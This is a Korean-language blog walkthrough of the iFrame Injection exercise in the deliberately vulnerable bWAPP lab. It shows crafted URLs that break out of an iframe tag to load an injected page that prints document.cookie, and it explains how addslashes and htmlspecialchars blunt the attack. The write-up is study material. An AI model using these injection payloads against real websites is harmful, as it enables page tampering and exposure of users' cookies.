bWAPP - 5. iFrame Injection
5. IFrame Injection
iFrame은 HTML 문서 안에서 또 다른 HTML 문서를 출력하는 태그로 사용되며, 어느 위치든 상관없이 인젝션 공격을 할 수 있습니다. iFrame 인젝션은 독립적으로 만들 수 있어 HTML 인젝션 중에서도 공격에 자주 사용되며, 주로 악성 URL을 삽입한 후 사이즈를 0으로 설정하여 숨기는 방법을 사용합니다.
- Low 레벨 -
iFrame Injection 실습페이지의 화면 입니다.
'iframei.php' 페이지를 보시면 GET 방식으로 데이터를 전송하기 때문에 URL에 변수를 노출합니다.
http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
소스코드 확인 결과 bWAPP 디렉토리에 있는 robots.txt 파일의 내용을 출력하는 것을 확인
html 파일을 하나 만든다.
<html>
<head>
<h1>Iframe Injection</h1>
<script>document.write(document.cookie)</script>
</head>
</html>
- LOW 결과 및 입력 값 -
http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt"></iframe><iframe src="iframe_bWAPP.html"
width="250" height="250"></iframe>&ParamWidth=250&ParamHeight=250
만든 html을 url에 주입결과 악의적은 html 페이지를 호출하게되었다.
iframe 태그에 추가되기 때문에 "></iframe>을 입력하여 원래 페이지의 iframe 태그를 닫아
줍니다.
iframe 값을 입력후 페이지의 소스 코드를 다시 확인하시면 원래 있던 iframe 태그가 닫히고 악의적으로 주입한 iframe 태그가 추가된 것을 확인할수 있습니다.
즉 새로운 코드가 추가되었다.
출처: https://securitycode.tistory.com/102
- Medium 레벨 -
low레벨에서와 마찬가지로 ParamUrl을 조작했을 때, iframe_injection.html이 출력되지 않는 것을 볼 수 있다.
소스코드를 보면, ParamUrl을 GET방식으로 받지 않고, robots.txt로 지정해놓은 것을 확인할 수 있다.
vi iframei.php
해당 url을 이용하여 low와 유사하게 진행해봤다.
http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250"></iframe><iframe src="iframe_bWAPP.html"
width="250" height="250"></iframe>
하지만 \역슬래쉬가 붙는 것을 확인할 수 있다.
그래서 addslashes() 함수가 사용된다는 것을 알 수 있다.
addslashes() 함수를 거치게 되는데 addslashes() 함수란 ', '', \, NULL과 같은 문자앞에 \(역슬래쉬)를 붙이는 함수를 말한다.
- Medium 결과 및 입력 값 1번 -
iframe_bWAPP.html에 " " 로 감싸지 않기
http://192.168.1.82/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250"></iframe><iframe src=iframe_bWAPP.html
width="250" height="250"></iframe>&ParamHeight=250
- High 레벨 -
function_external.php의 xss_chech_3함수를 확인해봤다.
htmlspecialchars함수를 이용해
웹 브라우저에서 iframe 태그에 사용되는 문자들을 HTML태그로 해석하지 않게 입력 데이터를 utf-8로 인코딩한다.
함수를 보면 HTML의 특수문자들을 변환한다고 되어있다.
이후 htmlspecialchars함수를 통해 utf-8로 반환한다.
따라서 iframe_injection.html이 출력되지 않는 것을 볼 수 있다.
공격은 불가능 하지만 이런식으로 대응이 가능하다는 것을 알았다.
'Web hacking' 카테고리의 다른 글
bWAPP 7. Mail Header Injection (SMTP) (진행 예정) (0) | 2022.02.01 |
---|---|
bWAPP - 6. LDAP Connection Settings (진행 예정) (0) | 2022.02.01 |
bWAPP - 4. HTML Injection - Stored (Blog) (0) | 2022.01.25 |
bWAPP - 3. HTML Injection – Reflected (Current URL) (0) | 2022.01.25 |
bWAPP - 2. HTML Injection - Reflected (POST) (0) | 2022.01.25 |